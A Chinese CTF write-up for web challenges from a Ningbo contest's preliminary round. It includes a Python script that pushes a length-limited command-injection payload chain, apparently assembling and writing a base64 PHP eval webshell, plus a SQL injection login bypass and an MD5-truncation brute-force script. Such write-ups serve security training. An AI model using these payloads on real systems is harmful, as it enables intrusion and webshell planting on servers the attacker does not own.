第四届宁波赛初赛赛题 wp_for i in f: print("[*]" + url.format(i.strip())) r-优快云博客

本文链接：https://blog.youkuaiyun.com/pone2233/article/details/117251536

本文介绍了一系列针对不同场景的渗透测试技巧，包括利用Python脚本进行攻击尝试、通过MD5截断值逆向寻找原始数据、利用命令注入获取敏感信息等。通过对实际案例的解析，读者可以了解如何有效地进行安全测试。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Web

WEB1

打开页面发现源代码

119.61.19.212:50070/exec.php
在这里插入图片描述

GET 1必须小于八位

a.py :

\#!/usr/bin/python

\# -*- coding: UTF-8 -*-

import requests

url = "http://119.61.19.217:50070/exec.php?1={0}"

print("[+]start attack!!!")

with open("payload.txt","r") as f:

for i in f:

print("[*]" + url.format(i.strip()))

requests.get(url.format(i.strip()))

\#检查是否攻击成功

test = requests.get("http://119.61.19.217:50070/exec.php")

if test.status_code == requests.codes.ok:

print("[*]Attack success!!!")

$$ Payload.txt:

>hp

>1.p\

>d>\

>\ -\

>e64\

>bas\

>7|\

>XSk\

>Fsx\

>dFV\

>kX0\

>bCg\

>XZh\

>AgZ\

>waH\

>PD9\

>o\ \

>ech\

ls -t>0

sh 0 $$

WEB2

访问：view-source:119.61.19.217:50998/index.php~

发现源码：

在这里插入图片描述

然后$pass这块我们要输入和加密md5一样的值，他们的条件就成立了就能获得flag了

通过post发送

user: 1’ and 1=2 union select
concat(‘21232f297a57a5a743894a0e4a801fc3’)#

pass : admin

即可拿到flag!

WEB3

在这里插入图片描述

用脚本跑：

import hashlib

from multiprocessing.dummy import Pool as ThreadPool

 

\# MD5截断数值已知 求原始数据

\# 例子 substr(md5(captcha), 0, 6)=60b7ef

 

def md5(s): # 计算MD5字符串

return hashlib.md5(str(s).encode('utf-8')).hexdigest()

 

keymd5 = 'da29f1' #已知的md5截断值

md5start = 0 # 设置题目已知的截断位置

md5length = 6

 

def findmd5(sss): # 输入范围 里面会进行md5测试

key = sss.split(':')

start = int(key[0]) # 开始位置

end = int(key[1]) # 结束位置

result = 0

for i in range(start, end):

\# print(md5(i)[md5start:md5length])

if md5(i)[0:6] == keymd5: # 拿到加密字符串

result = i

print(result) # 打印

break

 

list=[] # 参数列表

for i in range(10): # 多线程的数字列表 开始与结尾

list.append(str(10000000*i) + ':' + str(10000000*(i+1)))

pool = ThreadPool() # 多线程任务

pool.map(findmd5, list) # 函数 与参数列表

pool.close()

pool.join()

得到url：119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php 在这里插入图片描述